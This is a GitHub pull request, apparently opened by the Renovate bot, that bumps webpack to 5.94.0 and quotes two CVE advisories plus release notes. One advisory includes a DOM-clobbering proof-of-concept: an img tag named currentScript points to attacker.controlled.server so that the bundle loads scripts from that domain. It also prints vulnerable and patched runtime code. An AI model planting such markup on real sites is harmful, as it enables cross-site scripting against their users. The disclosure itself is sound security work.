Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

deps: Update dependency webpack to v5.94.0 [SECURITY] #3195

Open
wants to merge 1 commit into
base: master
Choose a base branch
from

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Mar 16, 2023

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
webpack 5.74.0 -> 5.94.0 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2023-28154

Webpack 5 before 5.76.0 does not avoid cross-realm object access. ImportParserPlugin.js mishandles the magic comment feature. An attacker who controls a property of an untrusted object can obtain access to the real global object.

CVE-2024-43788

Summary

We discovered a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Webpack

We identified a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. When the output.publicPath field in the configuration is not set or is set to auto, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:

/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript)
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();

However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with document.currentScript can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the src attribute of the attacker-controlled element will be used as the scriptUrl and assigned to __webpack_require__.p. If additional scripts are loaded from the server, __webpack_require__.p will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.

PoC

Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept.

Consider a website developer with the following two scripts, entry.js and import1.js, that are compiled using Webpack:

// entry.js
import('./import1.js')
  .then(module => {
    module.hello();
  })
  .catch(err => {
    console.error('Failed to load module', err);
  });
// import1.js
export function hello () {
  console.log('Hello');
}

The webpack.config.js is set up as follows:

const path = require('path');

module.exports = {
  entry: './entry.js', // Ensure the correct path to your entry file
  output: {
    filename: 'webpack-gadgets.bundle.js', // Output bundle file
    path: path.resolve(__dirname, 'dist'), // Output directory
    publicPath: "auto", // Or leave this field not set
  },
  target: 'web',
  mode: 'development',
};

When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the import1.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Webpack Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.

Patch

A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174

/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :>
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();

Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.


Release Notes

webpack/webpack (webpack)

v5.94.0

Compare Source

v5.93.0

Compare Source

v5.92.1

Compare Source

v5.92.0

Compare Source

Bug Fixes

  • Correct tidle range's comutation for module federation
  • Consider runtime for pure expression dependency update hash
  • Return value in the subtractRuntime function for runtime logic
  • Fixed failed to resolve promise when eager import a dynamic cjs
  • Avoid generation extra code for external modules when remapping is not required
  • The css/global type now handles the exports name
  • Avoid hashing for @keyframe and @property at-rules in css/global type
  • Fixed mangle with destructuring for JSON modules
  • The stats.hasWarnings() method now respects the ignoreWarnings option
  • Fixed ArrayQueue iterator
  • Correct behavior of __webpack_exports_info__.a.b.canMangle
  • Changed to the correct plugin name for the CommonJsChunkFormatPlugin plugin
  • Set the chunkLoading option to the import when environment is unknown and output is module
  • Fixed when runtimeChunk has no exports when module chunkFormat used
  • [CSS] Fixed parsing minimized CSS import
  • [CSS] URLs in CSS files now have correct public path
  • [CSS] The css module type should not allow parser to switch mode
  • [Types] Improved context module types

New Features

  • Added platform target properties to compiler
  • Improved multi compiler cache location and validating it
  • Support import attributes spec (with keyword)
  • Support node: prefix for Node.js core modules in runtime code
  • Support prefetch/preload for module chunk format
  • Support "..." in the importsFields option for resolver
  • Root module is less prone to be wrapped in IIFE
  • Export InitFragment class for plugins
  • Export compileBooleanMatcher util for plugins
  • Export InputFileSystem and OutputFileSystem types
  • [CSS] Support the esModule generator option for CSS modules
  • [CSS] Support CSS when chunk format is module

v5.91.0

Compare Source

Bug Fixes

  • Deserializer for ignored modules doesn't crash
  • Allow the unsafeCache option to be a proxy object
  • Normalize the snapshot.unmanagedPaths option
  • Fixed fs types
  • Fixed resolve's plugins types
  • Fixed wrongly calculate postOrderIndex
  • Fixed watching types
  • Output import attrbiutes/import assertions for external JS imports
  • Throw an error when DllPlugin needs to generate multiple manifest files, but the path is the same
  • [CSS] Output layer/supports/media for external CSS imports

New Features

  • Allow to customize the stage of BannerPlugin
  • [CSS] Support CSS exports convention
  • [CSS] support CSS local ident name
  • [CSS] Support __webpack_nonce__ for CSS chunks
  • [CSS] Support fetchPriority for CSS chunks
  • [CSS] Allow to use LZW to compress css head meta (enabled in the production mode by default)
  • [CSS] Support prefetch/preload for CSS chunks

v5.90.3

Compare Source

Bug Fixes

  • don't mangle when destructuring a reexport
  • types for Stats.toJson() and Stats.toString()
  • many internal types
  • [CSS] clean up export css local vars

Perf

  • simplify and optimize chunk graph creation

v5.90.2

Compare Source

Bug Fixes

  • use Math.imul in fnv1a32 to avoid loss of precision, directly hash UTF16 values
  • the setStatus() of the HMR module should not return an array, which may cause infinite recursion
  • __webpack_exports_info__.xxx.canMangle shouldn't always same as default
  • mangle export with destructuring
  • use new runtime to reconsider skipped connections activeState
  • make dynamic import optional in try/catch
  • improve auto publicPath detection

Dependencies & Maintenance

  • improve CI setup and include Node.js@21

v5.90.1

Compare Source

Bug Fixes

  • set unmanagedPaths in defaults
  • correct preOrderIndex and postOrderIndex
  • add fallback for MIME mismatch error in async wasm loading
  • browsers versions of ECMA features

Performance

  • optimize compareStringsNumeric
  • optimize numberHash using 32-bit FNV1a for small ranges, 64-bit for larger
  • reuse VM context across webpack magic comments

v5.90.0

Compare Source

Bug Fixes

  • Fixed inner graph for classes
  • Optimized RemoveParentModulesPlugin via bigint arithmetic
  • Fixed worklet detection in production mode
  • Fixed an error for cyclic importModule
  • Fixed types for Server and Dirent
  • Added the fetchPriority to hmr runtime's ensureChunk function
  • Don't warn about dynamic import for build dependencies
  • External module generation respects the output.environment.arrowFunction option
  • Fixed consumimng shared runtime module logic
  • Fixed a runtime logic of multiple chunks
  • Fixed destructing assignment of dynamic import json file
  • Passing errors array for a module hash
  • Added /*#__PURE__*/ to generated JSON.parse()
  • Generated a library manifest after clean plugin
  • Fixed non amd externals and amd library
  • Fixed a bug in SideEffectsFlagPlugin with namespace re-exports
  • Fixed an error message for condition or
  • The strictModuleErrorHandling is now working
  • Clean up child compilation chunk graph to avoid memory leak
  • [CSS] - Fixed CSS import prefer relative resolution
  • [CSS] - Fixed CSS runtime chunk loading error message

New Features

  • Allow to set false for dev server in webpack.config.js
  • Added a warning for async external when not supported
  • Added a warning for async module when not supported
  • Added the node-module option for the node.__filename/__dirname and enable it by default for ESM target
  • Added the snapshot.unmanagedPaths option
  • Exposed the MultiCompilerOptions type
  • [CSS] - Added CSS parser options to enable/disable named exports
  • [CSS] - Moved CSS the exportsOnly option to CSS generator options

Dependencies & Maintenance

  • use node.js LTS version for lint
  • bump actions/cache from 3 to 4
  • bump prettier from 3.2.1 to 3.2.3
  • bump assemblyscript
  • bump actions/checkout from 3 to 4

Full Changelog: webpack/webpack@v5.89.0...v5.90.0

v5.89.0

Compare Source

New Features

Dependencies & Maintenance

Full Changelog: webpack/webpack@v5.88.2...v5.89.0

v5.88.2

Compare Source

Bug Fixes

Full Changelog: webpack/webpack@v5.88.1...v5.88.2

v5.88.1

Compare Source

Developer Experience

Full Changelog: webpack/webpack@v5.88.0...v5.88.1

v5.88.0

Compare Source

New Features

Bug Fixes

Developer Experience

Dependencies & Maintenance

New Contributors

Full Changelog: webpack/webpack@v5.87.0...v5.88.0

v5.87.0

Compare Source

New Features

Bug Fixes

Developer Experience

Dependencies & Maintenance

New Contributors

@​aboktor made their first contribution in #​16991 #​16989
@​silverwind made their first contribution in #​17339 via #​17329

Full Changelog: webpack/webpack@v5.86.0...v5.87.0

v5.86.0

Compare Source

New Features

Bug Fixes

Developer Experience

Dependencies & Maintenance

New Contributors

Full Changelog: webpack/webpack@v5.85.1...v5.86.0

v5.85.1

Compare Source

Bug Fixes

Dependencies & Maintenance

Full Changelog: webpack/webpack@v5.85.0...v5.85.1

v5.85.0

Compare Source

New Features

Bug Fixes

Developer Experience

Dependencies & Maintenance

Full Changelog: webpack/webpack@v5.84.1...v5.85.0

v5.84.1

Compare Source

Bug Fixes

Dependencies & Maintenance

Full Changelog: webpack/webpack@v5.84.0...v5.84.1

v5.84.0

Compare Source

New Features

Bug Fixes

Developer Experience

Dependencies & Maintenance

New Contributors

Full Changelog: webpack/webpack@v5.83.1...v5.84.0

v5.83.1

Compare Source

Bug Fixes

Full Changelog: webpack/webpack@v5.83.0...v5.83.1

v5.83.0

Compare Source

New Features

Bug Fixes

Developer Experience

Dependencies & Maintenance

New Contributors

Full Changelog: webpack/webpack@v5.82.1...v5.83.0

v5.82.1

Compare Source

Bug Fixes

Developer Experience

Dependencies & Maintenance

New Contributors

Full Changelog: webpack/webpack@v5.82.0...v5.82.1

v5.82.0

Compare Source

New Features

Bug Fixes

Tests & Contributor Experience

Developer Experience

Dependencies & Maintenance

New Contributors

Full Changelog: webpack/webpack@v5.81.0...v5.82.0

v5.81.0

Compare Source

New Features

Bug Fixes

Tests & Contributor Experience


Configuration

📅 Schedule: Branch creation - "" in timezone Europe/Berlin, Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the dependencies Pull requests that update a dependency file label Mar 16, 2023
@renovate renovate bot force-pushed the renovate/npm-webpack-vulnerability branch from 50a1f21 to 6c048d7 Compare March 23, 2023 23:47
@renovate renovate bot force-pushed the renovate/npm-webpack-vulnerability branch from 6c048d7 to a13748c Compare April 3, 2023 09:00
@renovate renovate bot force-pushed the renovate/npm-webpack-vulnerability branch from a13748c to 9a09a93 Compare April 17, 2023 10:18
@renovate renovate bot force-pushed the renovate/npm-webpack-vulnerability branch from 9a09a93 to 191b110 Compare May 28, 2023 09:17
@renovate renovate bot force-pushed the renovate/npm-webpack-vulnerability branch from 191b110 to f0375c7 Compare June 4, 2023 12:17
@renovate renovate bot force-pushed the renovate/npm-webpack-vulnerability branch 3 times, most recently from f898e4c to 55aa24e Compare June 19, 2023 13:30
@renovate renovate bot force-pushed the renovate/npm-webpack-vulnerability branch 2 times, most recently from eec179f to 456f069 Compare July 6, 2023 12:02
@renovate renovate bot force-pushed the renovate/npm-webpack-vulnerability branch 2 times, most recently from c347612 to 8689daa Compare July 19, 2023 12:09
@renovate renovate bot force-pushed the renovate/npm-webpack-vulnerability branch from 8689daa to ee6b56d Compare July 27, 2023 20:25
@renovate renovate bot force-pushed the renovate/npm-webpack-vulnerability branch from ee6b56d to e251cfb Compare August 9, 2023 14:43
@renovate renovate bot force-pushed the renovate/npm-webpack-vulnerability branch 2 times, most recently from a08e220 to 5faa9bf Compare September 26, 2023 12:22
@renovate renovate bot force-pushed the renovate/npm-webpack-vulnerability branch 2 times, most recently from 4d377ef to ed3449e Compare October 15, 2023 15:16
@renovate renovate bot force-pushed the renovate/npm-webpack-vulnerability branch from ed3449e to 4762dc4 Compare October 21, 2023 02:15
@renovate renovate bot force-pushed the renovate/npm-webpack-vulnerability branch from 4762dc4 to 4426674 Compare November 6, 2023 06:36
@renovate renovate bot force-pushed the renovate/npm-webpack-vulnerability branch from 4426674 to 47487c3 Compare November 16, 2023 10:17
@renovate renovate bot force-pushed the renovate/npm-webpack-vulnerability branch from 47487c3 to 5381528 Compare January 28, 2024 09:30
@renovate renovate bot force-pushed the renovate/npm-webpack-vulnerability branch from 5381528 to c5a21a5 Compare February 4, 2024 11:36
@renovate renovate bot force-pushed the renovate/npm-webpack-vulnerability branch from c5a21a5 to 3a044af Compare February 25, 2024 10:57
@renovate renovate bot force-pushed the renovate/npm-webpack-vulnerability branch from 3a044af to 19940f9 Compare March 12, 2024 11:55
@renovate renovate bot force-pushed the renovate/npm-webpack-vulnerability branch 2 times, most recently from 364407a to 1597e60 Compare March 24, 2024 15:00
@renovate renovate bot force-pushed the renovate/npm-webpack-vulnerability branch 2 times, most recently from 6bcb995 to 68d1fa3 Compare April 21, 2024 10:31
@renovate renovate bot force-pushed the renovate/npm-webpack-vulnerability branch from 68d1fa3 to 080474f Compare April 25, 2024 08:01
@renovate renovate bot force-pushed the renovate/npm-webpack-vulnerability branch from 080474f to 85c15e0 Compare June 4, 2024 10:59
@renovate renovate bot force-pushed the renovate/npm-webpack-vulnerability branch from 85c15e0 to 6034152 Compare July 21, 2024 13:23
@renovate renovate bot force-pushed the renovate/npm-webpack-vulnerability branch from 6034152 to bc74e07 Compare August 6, 2024 07:13
@renovate renovate bot force-pushed the renovate/npm-webpack-vulnerability branch from bc74e07 to 2a082b9 Compare August 28, 2024 07:55
@renovate renovate bot changed the title deps: Update dependency webpack to v5.76.0 [SECURITY] deps: Update dependency webpack to v5.94.0 [SECURITY] Aug 30, 2024
@renovate renovate bot changed the title deps: Update dependency webpack to v5.94.0 [SECURITY] deps: Update dependency webpack to v5.76.0 [SECURITY] Sep 3, 2024
@renovate renovate bot force-pushed the renovate/npm-webpack-vulnerability branch from 2a082b9 to 398d4f0 Compare September 3, 2024 15:42
@renovate renovate bot changed the title deps: Update dependency webpack to v5.76.0 [SECURITY] deps: Update dependency webpack to v5.94.0 [SECURITY] Sep 4, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
dependencies Pull requests that update a dependency file
Projects
None yet
Development

Successfully merging this pull request may close these issues.

0 participants